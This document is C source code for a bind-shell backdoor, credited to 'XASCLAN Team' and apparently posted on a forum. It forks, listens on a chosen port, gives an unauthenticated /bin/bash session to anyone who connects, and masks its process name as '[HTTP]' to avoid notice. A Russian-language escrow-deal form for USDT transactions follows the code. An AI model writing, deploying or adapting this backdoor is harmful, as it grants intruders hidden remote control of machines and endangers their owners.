#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <strings.h> #include <sys/types.h> char shell[] = "/bin/bash"; char cmdname[] = "[HTTP]"; char message[] = "\n..::[XASCLAN Team : Bind Shell]::..\n"; int main(int arg, char **param[]) { int sd, datas; int sins, port; char c; struct sockaddr_in saddr; struct sockaddr_in saddrd; sins = 0x10; // Size /* Arguments */ if( arg != 2) { printf("Usage: %s <port>\n", param[0]); exit(0); } /* Port check */ port = atoi((char *)param[1]); if( port > 65535 | port < 1) { fprintf(stderr, "Error: Ports must be > 0 and < 65535\n"); exit(1); } /* Creat socket struct */ bzero(&saddr, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(port); saddr.sin_addr.s_addr = INADDR_ANY; /* Creat socket */ if(( sd = socket( AF_INET, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "Error: Creat Socket Failed\n"); exit(1); } /* Fork */ if( fork() == 0) { /* Bind port */ if( bind(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) { close(sd); fprintf(stderr, "Error: Bind Failed\n"); exit(1); } /* Listen port */ if( listen(sd, 5) < 0) // Listen port. Max active connections = 5 { close(sd); fprintf(stderr, "Error: Listen Failed\n"); exit(1); } for(;;) { if(( datas = accept(sd, (struct sockaddr *) &saddrd, &sins)) > 0) { write(datas, message, sizeof(message)); dup2(datas, 0); dup2(datas, 1); dup2(datas, 2); execl( shell, cmdname, 0); close(datas); exit(0); } } } close(datas); }
Продавец: ник или ID
Название сделки:
Сумма USDT:
Срок сделки, дней:
Кто платит комиссию:
Условия сделки:
После создания сделки средства будут зарезервированы в холде до завершения сделки.